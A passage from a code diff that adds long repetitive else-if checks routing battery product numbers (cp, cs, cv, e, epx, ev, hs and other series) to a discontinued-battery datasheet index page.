+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp8136"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp8160"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp8172"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp8248"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp8661"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp8748"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+
+ else if(IDText.value=="cp8948"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp8960"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp9061"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp9148"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp9161"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp9360"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cs3336"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cs5036"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cs5460"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cs7048"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cs7072"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cs7148"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cs7149"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cs7160"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cs7248"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cs7261"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cs7348"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cs7448"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cs7548"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cs7661"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cs8136"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cs8648"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cs9061"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cs9148"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cs9161"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cv2012"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cv2096"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cv3010s"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cv3012"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cv3060"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cv3112"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cv3212"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e1"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e1n"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e3"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e4"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e9"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e12"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e12n"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e13e"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e41e"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e42"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e42n"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e89"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e115"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e115n"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e126"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e132"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e132n"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e133"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e133n"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e134"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e134n"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e135"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e135n"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e136"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e137"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e137n"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e146x"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e152"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e163"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e164"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e164n"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e165"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e169"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e177"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e233"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e233n"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e235n"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e236n"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e286"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e289"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e312e"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e340e"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e400"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e400n"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e401e"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e401n"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e450"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e502"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e601"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e625"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e630"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e640"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e640n"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e675e"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e302157"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e302250"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e302358"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e302435"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e302462"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e302465"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e302478"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e302642"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e302651"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e302702"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e302904"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e302905"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e302908"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e303145"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e303236"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e303314"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e303394"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e303496"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="e303996"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="ea6"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="ea6f"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="ea6ft"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="ea6st"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="en1a"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="en132a"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="en133a"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="en134a"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="en135a"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="en136a"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="en164a"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="en165a"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="en175a"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="en177a"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="en640a"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="ep175"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="ep401e"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="ep675e"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="epx1"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="epx4"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="epx13"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="epx14"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="epx23"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="epx25"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="epx27"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="epx29"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="epx30"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="epx625"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="epx640"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="epx675"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="epx825"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="ev6"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="ev9"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="ev10s"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="ev15"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="ev22"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="ev31"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="ev35"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="ev50"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="ev90"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="ev90hp"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="fcc2"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="hs6"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="hs10s"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="hs15"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="hs31"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="hs35"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="hs50"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="hs90"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="hs95"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="hs150"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="hs6571"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="if6"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="is6"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="is6t"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="p2321m"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="p2322"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="p2326m"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="p7307"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="p7507"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="qcc4"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="s13e"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="s312e"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="s41e"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="s76e"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
